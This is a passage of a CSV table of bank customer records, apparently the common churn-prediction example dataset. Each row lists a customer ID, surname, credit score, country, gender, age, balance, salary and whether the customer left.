+1174,15808182,Beneventi,478,Spain,Female,36,3,92363.3,2,1,0,44912.7,0 +1175,15588670,Despeissis,705,Spain,Female,40,5,203715.15,1,1,0,179978.68,1 +1176,15721292,Atkins,719,Spain,Male,39,5,0,2,1,0,145759.7,0 +1177,15604217,Williams,726,France,Male,34,9,0,2,0,0,14121.61,0 +1178,15651369,Wright,626,France,Male,21,1,0,2,1,0,66232.23,0 +1179,15782454,Hancock,552,France,Male,49,4,0,1,1,1,190296.76,1 +1180,15814032,Hsieh,807,Germany,Female,31,1,93460.47,2,0,0,172782.69,0 +1181,15570326,Wilkins,621,France,Male,34,6,0,2,1,1,99128.13,0 +1182,15624428,Longo,651,Germany,Female,24,7,40224.7,1,1,1,178341.33,0 +1183,15755638,Mancini,673,France,Female,43,5,168069.73,1,1,1,146992.24,1 +1184,15600992,Madukaego,652,France,Male,36,1,0,2,1,1,151314.98,0 +1185,15755649,Winter-Irving,584,Germany,Male,47,7,130538.77,1,1,0,92915.84,0 +1186,15795228,Stewart,756,France,Male,37,3,132623.6,1,1,1,58974,0 +1187,15589257,Grant,670,France,Female,35,3,103465.02,2,1,1,174627.06,0 +1188,15719302,Brennan,765,France,Female,50,9,126547.8,1,1,1,79579.94,1 +1189,15639882,She,528,France,Male,30,2,128262.72,2,1,0,50771.16,0 +1190,15791279,Murray,701,France,Male,40,5,169742.64,1,1,1,153537.55,1 +1191,15636935,Rischbieth,797,France,Female,29,1,0,2,1,1,132975.39,0 +1192,15686909,Lung,639,Germany,Male,27,3,150795.81,1,0,1,85208.93,0 +1193,15589572,Otutodilichukwu,785,Spain,Female,61,4,129855.72,2,1,0,170214.82,1 +1194,15779947,Thomas,363,Spain,Female,28,6,146098.43,3,1,0,100615.14,1 +1195,15573769,Fiorentini,764,France,Female,24,7,0,2,1,0,186105.99,0 +1196,15578866,Hughes,676,France,Female,43,2,0,1,1,1,55119.53,0 +1197,15739131,Whitworth,718,Germany,Male,28,4,65643.3,1,1,0,28760.99,0 +1198,15813444,McIntosh,590,Spain,Female,34,6,0,2,1,0,171021.44,0 +1199,15678058,Ayers,584,France,Male,38,9,104584.16,1,1,0,176678.72,0 +1200,15769169,Trentino,645,France,Male,41,7,0,1,0,1,28667.56,0 +1201,15804602,Boyd,772,Germany,Male,30,6,99785.28,2,0,0,197238.03,0 +1202,15651052,McMasters,399,Germany,Male,46,2,127655.22,1,1,0,139994.68,1 +1203,15724334,Alekseyeva,529,France,Male,22,5,0,1,1,0,151169.83,0 +1204,15569451,Miller,463,France,Male,35,2,101257.16,1,1,1,118113.64,0 +1205,15650098,Baranova,630,France,Female,40,7,0,2,1,1,34453.17,0 +1206,15724307,Mitchell,780,France,Male,76,10,121313.88,1,0,1,64872.33,0 +1207,15599268,Yobachi,584,Spain,Male,32,5,0,2,1,0,10956.82,0 +1208,15594864,Huang,752,Germany,Male,30,4,81523.38,1,1,1,36885.85,0 +1209,15616451,Genovese,697,France,Female,47,6,128252.66,1,1,1,168053.4,0 +1210,15715667,Sorokina,850,France,Female,32,7,0,2,0,0,155227,0 +1211,15658969,Gray,711,France,Male,51,7,0,3,1,0,38409.79,1 +1212,15738174,Ervin,452,France,Female,32,5,0,2,0,1,75279.39,0 +1213,15813590,Vance,610,Spain,Male,42,6,0,2,1,0,158302.59,1 +1214,15624229,Noble,694,France,Female,22,4,0,2,1,1,11525.72,0 +1215,15674148,Milanesi,579,Spain,Male,33,6,0,1,1,0,94993.04,1 +1216,15625080,Parkin,745,Spain,Female,54,8,0,1,1,0,173912.29,1 +1217,15682528,Cremonesi,572,France,Male,33,5,0,1,0,1,41139.05,0 +1218,15696900,Burns,505,Germany,Male,29,3,145541.56,2,1,1,58019.95,0 +1219,15730038,Docherty,706,France,Female,23,5,0,1,0,0,164128.41,1 +1220,15812272,Ugonna,693,Germany,Male,44,5,124601.58,2,1,1,46998.13,1 +1221,15654654,L?,725,Germany,Female,33,7,115182.84,2,1,1,177279.41,0 +1222,15697625,Bevan,791,France,Male,37,2,163789.49,2,1,0,75832.53,0 +1223,15616280,Hsia,536,France,Male,46,1,65733.41,1,1,0,61094.53,0 +1224,15654229,O'Neill,699,Spain,Male,47,1,0,2,0,1,30117.44,0 +1225,15628298,Johnstone,500,Spain,Female,47,8,128486.11,1,1,0,179227.12,0 +1226,15733387,Pham,707,Spain,Female,53,6,109663.47,1,1,1,52110.45,0 +1227,15775572,Bergamaschi,531,Germany,Female,42,6,88324.31,2,1,0,75248.75,0 +1228,15613844,Murphy,557,France,Female,28,7,146445.24,2,1,0,184317.74,0 +1229,15578515,Osinachi,659,France,Female,38,3,0,2,1,0,158553.1,0 +1230,15607598,Muravyov,575,Spain,Female,31,6,0,2,1,1,95686.42,0 +1231,15742480,Igwebuike,775,Germany,Male,36,2,109949.05,2,0,1,71682.54,0 +1232,15749482,Zack,772,Spain,Male,30,4,78653.05,1,1,0,1790.48,0 +1233,15607537,Crawford,587,Germany,Male,46,9,107850.82,1,1,0,139431,1 +1234,15575410,Chidiegwu,667,Germany,Female,39,4,83765.35,2,1,0,118358.54,0 +1235,15684865,Lucchesi,771,France,Female,66,7,143773.07,1,1,1,130827.88,0 +1236,15600700,Pan,523,Germany,Male,63,6,116227.27,1,1,1,119404.63,0 +1237,15774155,Trevisani,662,Germany,Male,33,0,103471.52,1,1,1,162703,0 +1238,15634267,Yudin,717,France,Male,42,5,0,2,1,0,172665.21,0 +1239,15619626,Wade,746,France,Male,24,3,137492.35,2,0,1,170142.09,0 +1240,15660422,Chung,569,France,Male,28,7,0,2,1,0,73977.23,0 +1241,15617934,Septimus,579,France,Male,36,9,129829.59,1,1,1,60906.12,0 +1242,15760774,Hargraves,519,France,Female,21,1,146329.57,2,1,1,194867.27,0 +1243,15813132,Chukwukadibia,696,Germany,Male,30,4,114027.7,1,1,1,193716.56,0 +1244,15593331,Sidorov,693,Germany,Male,25,6,146580.69,1,0,1,14633.35,0 +1245,15616709,Bunton,587,Germany,Female,38,0,132122.42,2,0,0,31730.32,0 +1246,15658052,Cameron,626,France,Female,44,10,81553.93,1,1,0,20063.63,1 +1247,15721189,Kung,666,France,Female,66,7,0,2,1,1,99792.82,0 +1248,15711288,Hay,512,France,Male,24,6,0,2,1,0,37654.31,0 +1249,15770030,Conti,689,Spain,Female,28,3,0,2,1,1,192449.02,0 +1250,15803681,Sims,803,France,Female,26,4,0,2,1,1,181208.47,0 +1251,15702789,Carter,548,Germany,Male,32,5,175214.71,1,1,1,155165.61,0 +1252,15814930,McGregor,588,Germany,Female,40,10,125534.51,1,1,0,121504.18,1 +1253,15658306,Lo,693,France,Male,68,4,97705.99,1,1,1,61569.07,0 +1254,15699523,Chu,499,Germany,Female,55,4,126817.65,2,1,0,123269.71,0 +1255,15610383,Dumetolisa,628,France,Female,46,1,46870.43,4,1,0,31272.14,1 +1256,15615032,Peng,624,Spain,Male,46,3,0,2,1,1,62825.03,0 +1257,15781989,Drake-Brockman,733,France,Male,42,9,120094.93,1,1,0,184056.45,0 +1258,15647402,Wan,628,France,Female,38,3,0,2,1,1,48924.73,0 +1259,15740494,Cameron,633,France,Female,33,3,0,2,1,0,191111.02,0 +1260,15701265,Tretiakov,559,Germany,Female,36,1,104356.94,2,0,1,54184.06,0 +1261,15743532,Ball,704,Germany,Male,27,5,147004.34,1,1,0,64381.33,1 +1262,15794870,Sal,744,Germany,Male,38,6,73023.17,2,1,0,78770.86,0 +1263,15747591,Chung,665,Spain,Female,40,1,173432.55,1,0,1,116766.79,0 +1264,15726557,Lai,638,France,Female,42,7,165679.92,1,0,0,32916.29,0 +1265,15732199,Gether,837,Spain,Male,31,9,104678.62,1,0,1,50972.6,0 +1266,15662291,Davidson,534,France,Female,55,8,116973.26,3,1,0,122066.5,1 +1267,15749050,Justice,548,France,Female,36,3,0,1,1,0,65996.9,0 +1268,15781586,Osonduagwuike,837,Germany,Male,38,2,126732.85,1,1,1,79577.38,0 +1269,15617078,Ewing,658,France,Female,44,6,148481.09,1,1,0,130529.13,0 +1270,15723339,Chin,554,France,Female,38,4,137654.05,2,1,1,172629.67,0 +1271,15671322,Chiang,724,Germany,Male,30,7,115315.04,1,1,0,15216.53,0 +1272,15793854,Ahmed,723,France,Male,42,2,99095.73,1,1,1,17512.53,0 +1273,15756539,Marshall,585,Germany,Female,39,7,165610.41,2,0,0,131852.01,0 +1274,15612064,Tsou,474,France,Male,33,5,0,2,1,0,181945.52,1 +1275,15625916,Chien,562,Spain,Male,32,6,161628.66,1,1,0,91482.5,0 +1276,15683195,Ubanwa,719,France,Male,32,9,146605.27,1,1,1,77119.45,0 +1277,15690182,Kapustin,635,Germany,Male,37,5,113488.68,1,1,0,95611.74,1 +1278,15721719,Calabresi,743,France,Male,42,7,77002.2,2,1,1,80428.42,0 +1279,15641690,Hsiao,681,Spain,Male,67,7,0,2,0,1,163714.92,0 +1280,15634896,Grant,521,France,Female,39,6,0,2,0,1,27375.15,0 +1281,15671590,H?,741,Spain,Male,25,4,0,2,1,1,73873.65,0 +1282,15779182,Chia,790,Spain,Male,46,8,182364.53,1,0,0,139266.48,1 +1283,15778287,Ugoji,622,France,Male,35,8,0,2,1,1,131772.51,0 +1284,15609510,Gregory,669,France,Male,45,7,149364.58,1,0,1,173454.07,0 +1285,15742229,Mackay,583,France,Male,59,7,127450.14,1,0,1,67552.71,0 +1286,15658532,Nnamutaezinwa,520,Spain,Female,63,5,162278.32,1,1,1,34765.33,0 +1287,15590993,Findlay,579,Spain,Male,37,5,152212.88,2,0,0,120219.14,0 +1288,15565701,Ferri,698,Spain,Female,39,9,161993.89,1,0,0,90212.38,0 +1289,15597239,Ku,548,Spain,Male,39,7,131468.44,1,1,0,164975.82,0 +1290,15688880,Amechi,672,Germany,Male,40,10,102980.44,1,1,0,1285.81,1 +1291,15813917,Kirk,653,Germany,Male,31,9,143321.97,1,1,0,83679.46,0 +1292,15679611,Andrews,734,Spain,Female,37,2,130404.92,1,0,0,34548.74,0 +1293,15636589,Murray,794,France,Female,41,7,0,2,1,1,74275.08,0 +1294,15687752,Griffin,641,France,Male,30,2,87505.47,2,0,1,7278.57,0 +1295,15584363,Longstaff,824,France,Male,30,0,133634.02,1,1,1,162053.92,0 +1296,15737748,McWilliam,534,Spain,Female,33,3,151233.62,1,0,0,199336.63,0 +1297,15803365,Coffee,653,Spain,Male,55,2,70263.83,1,0,1,62347.71,0 +1298,15793247,Hancock,498,France,Male,34,5,0,2,1,1,91711.66,0 +1299,15572360,Clark,683,France,Male,30,10,57657.49,1,0,0,79240.9,0 +1300,15795166,Creswell,618,Germany,Male,42,8,153572.31,2,1,1,76679.6,0 +1301,15724620,Dodds,538,France,Male,37,1,134752.08,1,1,0,162511.55,0 +1302,15800856,Ewen,643,Spain,Male,34,3,83132.09,1,1,1,21360.88,0 +1303,15671097,Carter,428,France,Female,31,2,0,2,1,0,54487.43,0 +1304,15683930,Ch'iu,593,Germany,Female,32,9,134096.53,2,1,0,53931.05,1 +1305,15749004,Tsao,718,France,Female,31,0,118100.59,2,1,0,103165.15,0 +1306,15800434,Burgess,811,Germany,Male,52,10,76915.4,1,0,0,146359.81,1 +1307,15709117,Fanucci,823,Spain,Female,46,3,81576.75,1,1,1,28370.95,1 +1308,15638806,Blackburn,645,Spain,Male,49,2,0,2,0,0,10023.15,0 +1309,15662294,Bennett,710,France,Male,33,10,118327.17,2,1,1,192928.82,0 +1310,15690079,Boniwell,591,Spain,Male,30,8,124857.69,2,0,0,50485.7,0 +1311,15759317,Vasilieva,748,Germany,Female,27,2,90971.85,1,1,1,131662.47,0 +1312,15750497,Longo,850,France,Female,37,7,153147.75,1,1,1,152235.3,0 +1313,15596181,Kwemto,542,France,Male,38,8,65942.26,1,1,1,68093.23,1 +1314,15576602,Lawrence,809,France,Male,38,3,0,2,1,1,80061.31,0 +1315,15644833,Duncan,675,France,Male,54,2,0,1,1,0,149583.67,1 +1316,15734634,Bocharova,607,Spain,Female,27,5,100912.19,1,0,0,7631.27,0 +1317,15808689,Morres,850,France,Female,31,4,0,2,1,1,33082.81,0 +1318,15720702,Shih,789,France,Male,37,3,0,1,1,0,121883.87,1 +1319,15665077,Vogel,598,France,Female,43,5,0,3,1,1,100722.72,1 +1320,15763612,T'an,756,Germany,Male,41,2,124439.49,2,0,1,47093.11,0 +1321,15596493,Wisdom,687,France,Female,47,7,0,2,1,1,177624.01,0 +1322,15704483,Lorenzo,724,France,Male,40,6,0,2,0,0,106149.48,0 +1323,15598846,Shahan,700,France,Female,44,2,58781.76,1,1,0,16874.92,0 +1324,15629244,Bryant,635,Spain,Male,50,7,159453.64,2,0,0,54560.79,1 +1325,15765537,Liang,687,Germany,Male,26,2,142721.52,1,1,1,153605.75,0 +1326,15729975,Chidozie,613,France,Female,46,8,167795.6,1,0,1,44390.38,0 +1327,15682773,Hayward,781,France,Female,38,3,128345.69,2,1,0,63218.85,0 +1328,15688007,Liu,703,Spain,Male,20,3,165260.98,1,1,1,41626.78,0 +1329,15574331,Alexeeva,593,Germany,Female,62,3,118233.81,1,0,1,24765.53,1 +1330,15645572,Calabresi,743,France,Female,40,6,0,1,1,0,28280.8,1 +1331,15742854,Lettiere,640,Spain,Female,46,8,0,2,1,0,89043.19,0 +1332,15575417,Chou,849,Germany,Male,37,7,143452.74,2,1,1,17294.12,0 +1333,15796721,Nnamutaezinwa,778,France,Male,38,3,145018.49,2,1,1,126702.41,0 +1334,15734942,Nnamutaezinwa,539,Germany,Female,38,8,82407.51,1,1,0,13123.41,0 +1335,15664772,Greece,489,Germany,Male,28,1,79460.98,2,1,1,167973.63,0 +1336,15576683,Yin,568,Spain,Female,43,9,0,1,1,0,125870.79,1 +1337,15682563,Larionova,618,Spain,Male,38,5,126473.99,1,1,0,91972.49,0 +1338,15650889,Golubev,710,Germany,Female,30,10,133537.1,2,1,0,155593.74,0 +1339,15612108,Norman,625,France,Male,52,5,164978.01,1,1,1,67788.49,0 +1340,15761132,Capon,682,Spain,Male,46,7,128029.72,1,1,1,62615.35,0 +1341,15645511,Chukwudi,727,Spain,Male,43,2,97403.18,1,1,1,107415.02,1 +1342,15609824,Fedorov,794,France,Female,41,7,176845.41,3,1,0,166526.26,1 +1343,15640268,Avdeeva,652,Spain,Male,71,4,0,1,1,1,120107.1,0 +1344,15645778,Reid,670,Spain,Male,42,3,81589.04,1,1,0,188227.8,0 +1345,15691104,Kennedy,460,Germany,Female,40,6,119507.58,2,1,0,91560.63,1 +1346,15714567,Chan,568,Spain,Female,26,6,0,2,0,0,166495.2,0 +1347,15777826,Wofford,643,France,Male,30,5,94443.77,1,1,1,165614.4,0 +1348,15668445,Mai,521,France,Male,37,2,0,2,1,1,86372.24,0 +1349,15576162,King,615,France,Male,32,7,92199.84,1,1,1,2755.53,0 +1350,15778135,T'ao,575,Spain,Male,43,3,0,1,1,0,83594.51,0 +1351,15613141,Hsu,717,France,Female,41,3,135756.96,1,1,1,103706.41,0 +1352,15635435,White,648,France,Female,54,9,120633.42,1,0,0,5924.38,1 +1353,15596552,Stephens,535,Germany,Male,48,5,134542.73,1,1,1,58203.67,1 +1354,15623644,Frolov,626,Spain,Male,29,7,0,2,1,0,49361.84,0 +1355,15683403,Lombardi,611,Spain,Male,52,7,0,1,0,1,73585.18,1 +1356,15615029,Munro,734,Spain,Male,39,6,0,1,1,1,95135.27,0 +1357,15769005,Hayward,709,France,Male,49,4,154344.49,2,1,1,38794.57,0 +1358,15746326,Fields,591,France,Male,43,3,0,2,0,1,198926.36,0 +1359,15722364,Onwumelu,664,France,Male,43,9,189026.53,2,1,1,56099.86,0 +1360,15704954,Suffolk,431,France,Male,37,0,120764.08,1,1,1,117023.08,0 +1361,15694409,Tsao,647,Germany,Female,22,3,97975.82,2,0,1,62083,0 +1362,15754068,Judd,578,France,Male,32,4,0,2,1,1,141822.8,0 +1363,15683841,Hamilton,555,Germany,Male,41,10,113270.2,2,1,1,185387.14,0 +1364,15789095,T'ang,775,Spain,Male,30,4,0,2,0,1,57461.13,0 +1365,15719958,Degtyarev,850,Germany,Male,39,3,124548.99,2,1,1,120380.12,0 +1366,15689514,Kang,625,France,Male,43,8,201696.07,1,1,0,133020.9,1 +1367,15621353,Hudson,645,Spain,Female,37,7,0,2,1,0,13589.93,0 +1368,15627232,Jibunoh,608,Germany,Male,44,7,114203.47,1,1,1,77830.36,1 +1369,15745843,Kinlaw,689,Spain,Female,31,4,0,2,1,1,136610.02,0 +1370,15722902,Chizuoke,652,Germany,Male,50,8,125437.64,1,1,1,17160.94,1 +1371,15791767,Lucciano,769,France,Female,26,7,0,2,1,0,176843.53,0 +1372,15792722,Omeokachie,611,France,Female,43,8,64897.75,1,1,0,114996.33,0 +1373,15723006,Gorbunova,489,France,Male,38,8,0,2,0,1,196990.79,0 +1374,15771942,Tikhonov,528,Germany,Female,46,9,135555.66,1,1,0,133146.03,1 +1375,15774738,Campa,632,France,Male,44,3,107764.75,1,1,0,185667.72,0 +1376,15574004,Mancini,429,France,Female,27,6,117307.44,2,1,1,24020.49,0 +1377,15587233,Donoghue,457,France,Male,41,8,73700.12,3,1,1,185750.02,1 +1378,15808228,Tuan,768,Spain,Female,44,6,60603.4,1,1,1,178045.97,0 +1379,15682834,Johnstone,715,Spain,Female,35,4,40169.88,2,1,1,199857.47,0 +1380,15571752,Romani,668,Germany,Female,32,10,92041.87,1,1,1,43595.9,0 +1381,15743067,Fuller,625,Germany,Male,26,3,130483.95,1,1,0,122810.53,0 +1382,15714466,Baxter,846,France,Female,41,5,0,3,1,0,3440.47,1 +1383,15617982,Pirozzi,661,Spain,Female,42,3,0,2,1,0,35989.41,0 +1384,15696637,Sung,571,France,Female,23,10,151097.28,1,0,1,17163.75,0 +1385,15690647,Rogers,582,Spain,Female,46,8,67563.31,1,1,0,44506.09,1 +1386,15672756,Mills,716,France,Female,35,8,112808.18,1,0,1,17848.3,0 +1387,15704586,Osonduagwuike,758,France,Female,42,7,0,2,0,1,76209.56,0 +1388,15674526,Byrne,725,France,Male,66,4,86459.8,1,1,1,141476.56,0 +1389,15775295,McIntyre,630,France,Female,40,0,118633.08,1,0,1,60032.46,1 +1390,15684196,Aitken,627,France,Female,55,2,159441.27,1,1,0,100686.11,1 +1391,15727281,Macintyre,653,France,Female,27,9,0,2,1,0,96429.29,0 +1392,15787835,Simpson,775,Germany,Female,38,4,125212.65,2,1,1,15795.88,1 +1393,15730540,Simpson,794,Spain,Male,45,8,88656.37,2,1,0,116547.31,0 +1394,15646276,Metcalfe,831,France,Female,32,2,146033.62,1,1,0,191260.74,0 +1395,15582180,Lees,561,France,Male,29,9,120268.13,1,1,1,173870.39,0 +1396,15697095,Zetticci,705,Spain,Male,46,7,0,2,1,0,117273.35,0 +1397,15748797,Dale,636,Spain,Female,33,0,0,1,1,0,92277.47,1 +1398,15754796,Byrne,487,Germany,Female,46,4,135070.58,2,1,1,44244.49,1 +1399,15628947,Praed,693,France,Female,38,3,0,2,0,0,78133.48,1 +1400,15775546,Laurens,517,Spain,Female,29,5,0,2,1,0,103402.88,0 +1401,15670481,Woods,684,France,Female,27,9,122550.05,2,0,1,137835.82,0 +1402,15619029,Bykov,620,Spain,Female,43,2,0,2,1,0,20670.1,0 +1403,15613282,Vorobyova,757,France,Male,29,8,130306.49,1,1,0,77469.38,0 +1404,15721487,Pirogova,739,France,Female,27,6,0,1,1,1,57572.38,0 +1405,15797276,Sturt,662,Spain,Female,41,4,90350.77,1,1,0,75884.65,1 +1406,15612494,Panicucci,359,France,Female,44,6,128747.69,1,1,0,146955.71,1 +1407,15629617,Cook,572,Spain,Male,23,2,126873.52,1,0,1,67040.12,0 +1408,15600821,Hardy,721,France,Male,69,2,108424.19,1,1,1,178418.35,0 +1409,15579062,Chu,707,France,Male,32,9,0,2,0,0,30807.02,0 +1410,15814268,Franklin,444,France,Female,40,5,84350.07,1,1,0,143835.76,0 +1411,15710164,P'eng,523,France,Female,73,7,0,2,0,0,130883.9,1 +1412,15693904,Chiang,685,Germany,Female,30,4,84958.6,2,0,1,194343.72,0 +1413,15588986,Grant,673,Germany,Female,29,4,99097.36,1,1,1,9796.69,0 +1414,15797733,Udobata,503,Germany,Male,30,10,136622.55,2,0,0,47310.24,0 +1415,15620507,Siciliani,485,Germany,Female,30,5,156771.68,1,1,1,141148.21,0 +1416,15685150,Evans,799,Germany,Male,28,7,167658.33,2,1,1,111138.25,0 +1417,15667651,Young,585,Spain,Female,33,8,0,2,1,0,114182.07,0 +1418,15774166,Mitchell,607,Germany,Female,24,2,109483.54,2,0,1,127560.77,0 +1419,15649280,Lucchese,521,Germany,Female,40,9,134504.78,1,1,0,18082.06,0 +1420,15705657,Hewitt,535,France,Female,44,2,114427.86,1,1,1,136330.26,0 +1421,15753969,K'ung,724,Spain,Male,45,5,83888.54,1,0,1,34121.81,0 +1422,15742378,Swaim,520,Germany,Male,32,5,110029.77,1,1,0,56246.69,0 +1423,15794874,Quinones,696,Spain,Male,41,9,127523.75,1,0,1,191417.42,0 +1424,15589221,Kennedy,657,Germany,Male,30,1,139762.13,2,1,1,23317.88,0 +1425,15596671,Endrizzi,603,Spain,Female,42,8,91611.12,1,0,0,144675.3,1 +1426,15583668,Ludowici,726,France,Female,42,2,109471.79,1,0,1,175161.05,0 +1427,15710206,Larson,591,France,Female,39,4,150500.64,1,1,0,14928.8,0 +1428,15799966,Chigolum,792,Germany,Female,59,9,101609.77,1,0,0,161479.19,1 +1429,15794560,Maclean,550,France,Male,57,5,0,1,1,1,133501.94,0 +1430,15626485,Lu,601,France,Female,26,8,78892.23,1,1,1,23703.52,0 +1431,15703143,Tuan,820,France,Female,29,3,82344.84,1,0,1,115985.38,0 +1432,15809772,Glover,667,France,Male,48,2,0,1,1,0,43229.2,0 +1433,15687959,Landman,573,Spain,Female,44,4,0,1,1,1,94862.93,0 +1434,15585282,Trevisano,755,France,Male,62,1,127706.33,2,0,1,142377.69,0 +1435,15714993,Longo,552,France,Female,41,9,124349.34,1,1,0,135635.25,0 +1436,15596021,K?,598,Spain,Male,44,8,0,2,1,0,148487.9,0 +1437,15646615,Muir,576,Germany,Male,28,1,119336.29,2,0,1,58976.85,0 +1438,15742632,Alexeyeva,670,France,Female,31,9,0,1,0,1,76254.83,0 +1439,15574068,Norman,504,Germany,Male,56,9,104217.3,1,0,0,55857.48,1 +1440,15806967,Simmons,778,France,Female,65,7,0,1,1,1,77867.23,0 +1441,15796334,Chukwualuka,558,Germany,Male,39,10,144757.02,1,1,0,22878.16,1 +1442,15688713,McCall,627,Spain,Male,44,6,0,1,1,1,114469.55,0 +1443,15796179,Moore,683,France,Male,43,8,0,1,1,0,96754.8,0 +1444,15598751,Ingram,556,France,Female,43,6,0,3,0,0,125154.57,1 +1445,15703019,Okeke,583,France,Female,38,10,0,2,0,1,113597.64,0 +1446,15646302,Shao,705,France,Female,24,7,100169.51,1,1,0,121408.55,0 +1447,15680855,Iloabuchi,637,France,Male,33,2,145731.83,1,0,1,109219.43,0 +1448,15697311,Nebechukwu,697,Spain,Male,56,5,110802.03,1,1,1,50230.31,1 +1449,15585367,Diribe,555,Germany,Female,46,4,120392.99,1,1,0,177719.88,1 +1450,15726556,Macgroarty,594,Germany,Female,26,6,135067.52,2,0,0,131211.86,0 +1451,15676242,Artemova,632,Spain,Male,31,3,136556.44,1,1,0,82152.83,1 +1452,15684198,McDonald,551,France,Female,38,10,0,2,1,1,216.27,0 +1453,15774882,Mazzanti,687,France,Female,35,3,99587.43,1,1,1,1713.1,1 +1454,15714227,Kelly,672,France,Female,53,7,0,1,1,1,136910.18,0 +1455,15608653,Davison,521,Spain,Female,34,7,70731.07,1,1,1,20243.97,1 +1456,15784280,Reilly,686,Germany,Male,35,2,109342.82,2,0,1,86043.27,0 +1457,15789546,Ojiofor,639,Spain,Male,28,8,0,2,1,0,126561.07,0 +1458,15590320,Shelton,850,France,Male,66,4,0,2,0,1,64350.8,0 +1459,15678385,Lange,465,France,Male,25,2,78247.31,2,1,1,10472.31,0 +1460,15571778,Trentini,817,France,Female,55,10,117561.49,1,1,0,95941.55,1 +1461,15657085,Gardiner,578,France,Male,23,10,88980.32,1,1,1,125222.36,0 +1462,15640627,Wan,611,Spain,Male,34,4,0,2,1,0,170950.58,0 +1463,15566211,Hsu,616,Germany,Female,41,1,103560.57,1,1,0,236.45,1 +1464,15669293,Hovell,517,France,Male,37,5,113308.84,1,0,1,31517.16,0 +1465,15595067,Zhirov,637,Spain,Female,40,6,0,2,1,1,181610.6,0 +1466,15753566,Espinosa,806,France,Female,32,3,63763.49,1,1,0,156593.09,0 +1467,15650391,Wallace,633,France,Female,29,7,169988.35,1,1,0,4272,0 +1468,15681843,Barbour,624,Germany,Female,35,0,180303.24,2,1,0,163587.9,0 +1469,15814846,Ozerova,691,France,Male,52,3,0,1,1,0,175843.68,1 +1470,15670374,Wright,819,Germany,Female,49,1,120656.86,4,0,0,166164.3,1 +1471,15762332,Ulyanova,568,Germany,Female,31,1,61592.14,2,1,1,61796.64,0 +1472,15700223,Steiner,806,France,Male,48,4,164701.68,1,1,1,21439.49,0 +1473,15729956,Akabueze,726,Spain,Female,26,1,80780.16,1,1,1,19225.85,0 +1474,15594862,Aleksandrova,552,France,Male,36,8,0,2,0,0,132547.02,0 +1475,15598782,Pinto,755,Germany,Female,30,6,154221.37,2,0,1,62688.55,0 +1476,15745080,Griffiths,634,France,Male,26,8,0,1,1,0,21760.96,0 +1477,15703399,McNeil,756,France,Female,26,5,101641.14,2,0,1,154460.68,0 +1478,15732175,Bruno,776,France,Male,37,2,0,1,0,1,8065,0 +1479,15630725,Johnson,649,France,Female,45,5,92786.66,1,1,0,173365.9,1 +1480,15640260,Okorie,595,Germany,Male,32,8,131081.66,2,1,1,69428.79,0 +1481,15716822,Moen,646,France,Male,30,5,98014.74,1,1,1,12757.14,0 +1482,15583748,McGuigan,592,Spain,Male,38,8,0,2,1,0,180426.2,0 +1483,15605968,Fancher,574,France,Male,26,8,97460.1,1,1,1,43093.67,0 +1484,15790683,Matthews,850,France,Male,36,1,104077.19,2,0,1,68594,0 +1485,15607713,Kaeppel,850,Spain,Female,29,1,0,2,1,1,197996.65,0 +1486,15700212,Shih,475,France,Female,46,10,0,2,0,0,122953,1 +1487,15626710,Yudina,642,France,Female,39,4,0,1,1,1,76821.24,0 +1488,15716491,Akabueze,710,Spain,Female,51,4,93656.95,1,0,1,141400.51,1 +1489,15625824,Kornilova,596,Spain,Male,30,6,121345.88,4,1,0,41921.75,1 +1490,15617705,Ozioma,609,France,Female,39,8,141675.23,1,0,1,175664.25,0 +1491,15761976,Su,797,Spain,Female,31,8,0,2,1,0,117916.63,0 +1492,15634891,Jamison,504,Germany,Female,43,7,102365.49,1,1,0,194690.77,1 +1493,15744517,Esposito,735,Spain,Male,50,9,0,1,0,0,166677.35,1 +1494,15686963,Hardiman,680,Spain,Female,30,3,0,1,1,0,160131.58,0 +1495,15808189,Woodard,449,France,Male,52,6,0,2,0,1,123622,0 +1496,15580845,Chienezie,685,Germany,Male,57,7,101868.51,1,0,1,113483.96,0 +1497,15799156,Okwuadigbo,569,Spain,Male,38,8,0,2,0,0,79618.79,0 +1498,15694296,Chineze,631,France,Male,35,9,112392.45,2,1,0,24472.23,0 +1499,15677049,O'Brien,595,Germany,Female,25,7,106570.34,2,0,1,177025.79,0 +1500,15583595,Tao,461,France,Female,28,8,0,1,1,1,103349.74,0 +1501,15590146,Mao,630,France,Male,50,1,81947.76,1,0,1,63606.22,1 +1502,15801548,Buckland,661,France,Female,31,7,144162.3,2,1,1,14490.79,0 +1503,15660833,Flannery,796,Germany,Male,39,5,86350.87,2,0,0,105080.53,0 +1504,15762277,Jamieson,710,France,Male,47,5,158623.14,1,0,0,83499.89,1 +1505,15791302,Swift,741,France,Male,32,8,0,2,1,0,143598.7,0 +1506,15798975,Doherty,606,Germany,Male,48,4,132403.56,1,0,0,36091.91,1 +1507,15599956,Payne,747,France,Male,27,10,0,2,0,0,13007.89,0 +1508,15577274,Genovese,549,Germany,Female,43,3,134985.66,1,1,0,6101.41,0 +1509,15701200,Lucciano,576,France,Male,36,6,0,2,1,1,48314,0 +1510,15638149,Rowley,528,France,Male,37,6,103772.45,1,1,0,197111.99,0 +1511,15786199,Hsing,535,France,Male,33,2,133040.32,1,1,1,110299.78,0 +1512,15701765,Vincent,575,Spain,Female,37,0,0,2,0,0,30114.32,0 +1513,15586974,Pearce,656,France,Male,39,10,0,2,1,1,98894.64,0 +1514,15729040,Lamb,440,France,Male,42,2,0,2,1,0,49826.68,0 +1515,15788676,Riley,539,Spain,Male,38,8,71460.67,2,1,1,10074.05,0 +1516,15602497,Honore,850,Spain,Male,39,6,133214.13,1,0,1,20769.88,0 +1517,15701333,Blackburn,646,France,Female,37,7,96558.66,1,0,0,163427.18,0 +1518,15812071,Endrizzi,744,France,Male,54,6,93806.31,2,0,1,140068.77,0 +1519,15634375,Duncan,710,Spain,Female,36,8,0,2,0,0,83206.19,0 +1520,15738267,Macarthur,544,France,Female,64,3,124043.8,1,1,1,111402.97,1 +1521,15786800,Gould,723,Germany,Male,52,5,131694.97,1,0,1,92873.5,1 +1522,15591130,Medvedev,507,Spain,Female,29,6,0,2,0,1,94780.9,0 +1523,15720662,Sholes,787,France,Female,35,1,106266.8,1,1,1,16607.15,0 +1524,15751531,Shaw,598,Spain,Male,41,8,0,2,1,1,161954.43,0 +1525,15653595,Ts'ai,796,France,Male,51,6,0,2,0,1,194733.28,0 +1526,15568360,Rolon,569,Spain,Female,41,4,139840.36,1,1,1,163524.7,0 +1527,15781210,Reid,711,France,Male,34,8,0,2,0,0,48260.19,0 +1528,15668058,Chinwendu,661,Germany,Male,35,8,124098.54,1,1,0,86678.48,0 